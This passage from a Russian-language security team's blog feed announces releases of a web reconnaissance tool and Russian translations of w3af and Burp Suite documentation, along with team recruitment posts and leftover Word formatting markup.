   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;

&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
table.MsoNormalTable
 {mso-style-name:&quot;Обычная таблица&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
 mso-para-margin:0cm;
 mso-para-margin-bottom:.0001pt;
 mso-pagination:widow-orphan;
 font-size:12.0pt;
 font-family:Cambria;
 mso-ascii-font-family:Cambria;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Cambria;
 mso-hansi-theme-font:minor-latin;}
&lt;/style&gt;
&lt;![endif]--&gt;



&lt;!--StartFragment--&gt;













&lt;!--EndFragment--&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;mso-no-proof: yes;&quot;&gt;Запись в блоге автора: &lt;a href=&quot;http://www.anton-kuzmin.ru/2013/07/egbtestarea-extreemegpubruteforcer.html&quot;&gt;http://www.anton-kuzmin.ru/2013/07/egbtestarea-extreemegpubruteforcer.html&lt;/a&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://hack4sec.blogspot.com/2013/07/egbtestarea-extreemegpubruteforcer.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-7982672102317779144</guid><pubDate>Wed, 18 Jan 2012 05:13:00 +0000</pubDate><atom:updated>2012-01-17T21:13:50.246-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">веб-разведка</category><category domain="http://www.blogger.com/atom/ns#">разработки</category><title>Веб-разведка: релиз версии 1.0.2a</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. В последнее время получилось так, что разработка ВР ушла на задний план, уступив место более приоритетным задачам команды. Но недавно мы за неё снова взялись и теперь постараемся почаще выпускать новые версии. &lt;br /&gt;
В релизе 1.0.2a, благодаря нашему участнику Beched`у, к ВР добавляется ещё один инструмент - поисковик параметров которые могут принимать скрипты. Аналогично другим инструментам базы для него в релизе нет (точнее есть, но мизерная) и её необходимо самостоятельно собирать с помощью соответствующего граббера.&lt;br /&gt;
&lt;br /&gt;
&lt;span id=&quot;goog_177550455&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_177550456&quot;&gt;&lt;/span&gt;&lt;a href=&quot;http://www.blogger.com/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://h4s-team.ru/files/hack4sec-wr-1.0.2a.tar.gz&quot; target=&quot;_blank&quot;&gt;hack4sec-wr-1.0.2a.tar.gz (h4s-team.ru)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://hack4sec.opendrive.com/files?53727350_UgNV2&quot; target=&quot;_blank&quot;&gt;hack4sec-wr-1.0.2a.tar.gz (OpenDrive)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2012/01/102a.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-6957563225295523844</guid><pubDate>Thu, 29 Dec 2011 12:16:00 +0000</pubDate><atom:updated>2011-12-29T04:16:09.013-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">документация он-лайн</category><title>Он-лайн переводы на h4s-team.ru</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. По просьбам с форумов мы решили разместить переводы документаций в режиме он-лайн на сайте &lt;a href=&quot;http://h4s-team.ru/&quot;&gt;http://h4s-team.ru/&lt;/a&gt; . На этой страничке вы также можете найти прямые ссылки на наши релизы. Впредь любые выкладываемые нами файлы будут размещаться на &lt;a href=&quot;http://h4s-team.ru/&quot;&gt;http://h4s-team.ru/&lt;/a&gt; вместо &lt;a href=&quot;http://rghost.ru/&quot;&gt;http://rghost.ru/&lt;/a&gt;.&lt;br /&gt;
Блог по прежнему остаётся на этом адресе.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/12/h4s-teamru.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-4270714913941995423</guid><pubDate>Thu, 08 Dec 2011 16:37:00 +0000</pubDate><atom:updated>2011-12-08T08:51:28.383-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">w3af</category><category domain="http://www.blogger.com/atom/ns#">перевод</category><title>Перевод документации w3af (руководство+плагины)</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Пару месяцев назад мы перевели пользовательское руководство &lt;a href=&quot;http://w3af.sourceforge.net/&quot; target=&quot;_blank&quot;&gt;w3af&lt;/a&gt; и описание всех его плагинов. Долго время мы вели переговоры с разработчиками, и даже договорились о публикации данных переводов, но почему-то до сих пор на официальном сайте они не появились (выложено только руководство, и то на&amp;nbsp;&lt;a href=&quot;https://w3af.svn.sourceforge.net/svnroot/w3af/trunk/readme/RU/&quot; target=&quot;_blank&quot;&gt;SVN&lt;/a&gt;). Поэтому сегодня мы решили опубликовать их. Если вы не знаете что это за фреймворк, обязательно рекомендуем с ним ознакомиться. В плане проведения тестов на проникновение вещь очень полезная.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://hack4sec.opendrive.com/files?52444271_V1Sq9&quot; target=&quot;_blank&quot;&gt;Руководство пользователя (opendrive)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://rghost.ru/33803891&quot; target=&quot;_blank&quot;&gt;Руководство пользователя (rghost)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://hack4sec.opendrive.com/files?52444371_wx0hp&quot; target=&quot;_blank&quot;&gt;Перевод описания плагинов (opendrive)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://rghost.ru/33803851&quot; target=&quot;_blank&quot;&gt;Перевод описания плагинов (rghost)&lt;/a&gt;&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/12/w3af.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-2059385278699682510</guid><pubDate>Thu, 20 Oct 2011 02:32:00 +0000</pubDate><atom:updated>2011-12-08T08:38:26.265-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">команда</category><title>Набор в команду завершён</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Набор в команду завершён. Мы нашли двух хороших людей, которые пополнили наши ряды.&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/10/blog-post_19.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-8869981830284835393</guid><pubDate>Tue, 04 Oct 2011 15:30:00 +0000</pubDate><atom:updated>2011-12-08T08:37:58.641-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">команда</category><title>Набор в команду</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Вновь открыт набор в нашу команду. На данный момент мы ищем 2 человек. Прочитать подробнее об условии принятия и пр. можно на странице &quot;&lt;a href=&quot;http://hack4sec.blogspot.com/p/blog-page.html&quot;&gt;Набор в команду&lt;/a&gt;&quot;. Там же есть координаты для связи с нами.&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/10/blog-post.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-4974014383759290817</guid><pubDate>Thu, 29 Sep 2011 04:54:00 +0000</pubDate><atom:updated>2012-02-08T21:18:13.639-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">burp suite</category><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">перевод</category><title>Перевод документации Burp Suite для версии 1.4.01</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Для внутренних нужд команды нами недавно была переведена на русский язык документация для &lt;a href=&quot;http://portswigger.net/&quot;&gt;Burp Suite&lt;/a&gt; последней версии. Проведя на днях небольшое голосование мы решили опубликовать его т.к., по нашему мнению, он может много кому пригодиться. Так как мы сами являемся пользователями BS, то с каждой новой версией мы будем дополнять перевод и выкладывать его в нашем блоге.&lt;br /&gt;
Если вы в переводе заметите какой-то недочёт или неточность, просим сообщить об этом в комментариях.&lt;br /&gt;
&lt;br /&gt;
Он-лайн вариант: &lt;a href=&quot;http://h4s-team.ru/&quot;&gt;http://h4s-team.ru/&lt;/a&gt;&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/09/burp-suite-1401.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-3629104438985655950</guid><pubDate>Tue, 21 Jun 2011 05:51:00 +0000</pubDate><atom:updated>2011-12-08T08:40:29.492-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">веб-разведка</category><category domain="http://www.blogger.com/atom/ns#">разработки</category><title>Веб-разведка: релиз версии 1.0.1a</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Встречайте релиз 1.0.1a, содержащий 10 значительных изменений.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Устранённые ошибки:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;В имя файла-отчёта фаззера всегда помещался текущий хост, а не имя карты.&lt;/li&gt;
&lt;li&gt;В некоторых случаях, при добавлении новых элементов в кару сайта, в качестве их обнаружителя всегда писался поисковик файлов и директорий.&lt;/li&gt;
&lt;li&gt;Целевые URL`ы для некоторых скриптов нельзя было указывать без слеша в конце.&lt;/li&gt;
&lt;/ul&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Новый функционал:&lt;/div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;В map.php добавлена возможность импорта данных в карту сайта ВР из простых XML-карт веб-ресурсов (SiteMap http://ru.wikipedia.org/wiki/Sitemaps) &lt;/li&gt;
&lt;li&gt;В map.php добавлена возможность импорта данных в карту сайта ВР из robots.txt&lt;/li&gt;
&lt;li&gt;Пользователь может вносить во все запросы ВР произвольные заголовки с помощью файла /headers.txt.&lt;/li&gt;
&lt;li&gt;При экспорте/импорте данных с помощью скрипта result.php автоматически подхватываются соответствующие данные из /data.&lt;/li&gt;
&lt;li&gt;Поисковик компонентов может производить поиск по готовой карте сайта, не осуществляя ни одного запроса к целевому хосту.&lt;/li&gt;
&lt;li&gt;Добавлен скрипт /local/dafs_unique.php, удаляющий дубли из баз поисковика файлов и директорий.&lt;/li&gt;
&lt;/ul&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Прочие изменения:&lt;/div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Скрипт maps.php переименован в map.php&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Ссылки на загрузку дистрибутива:&lt;br /&gt;
&lt;a href=&quot;https://hack4sec.opendrive.com/files?31854423_VIQF1&quot;&gt;Пропатченный дистрибутив (OpenDrive)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://hack4sec.opendrive.com/files?31855434_CHkik&quot;&gt;Только изменённые файлы (OpenDrive)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.sendspace.com/file/pvvlj0&quot;&gt;Пропатченый дистрибутив (SendSpace)&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.sendspace.com/file/5zzsbp&quot;&gt;Только изменённые файлы (SendSpace)&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/06/101a.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-5105103540006664416</guid><pubDate>Fri, 03 Jun 2011 13:34:00 +0000</pubDate><atom:updated>2011-12-08T08:40:15.751-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">Аналитический центр</category><category domain="http://www.blogger.com/atom/ns#">разработки</category><title>Новый релиз - Аналитический центр</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Наверное многие из нас при исследовании большого количества веб-серверов, или какого-нибудь сложного веб-приложения, сталкивались с проблемой хранения и обработки информации. При проведении таких работ её скапливается очень много, и в то же время эту информацию нужно часто дополнять и изменять. Каждый решает эту проблему по своему. Мы же решили написать веб-прилоение которое позволяло бы не только хранить и структурировать полученные в ходе исследования данные, но и давало бы возможность централизованной работы с ними группе людей облегчая при этом координацию их действий. Называется оно Аналитический Центр.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Вот тут вы можете посмотреть ознакомительное видео с ним:&lt;br /&gt;
&lt;br /&gt;
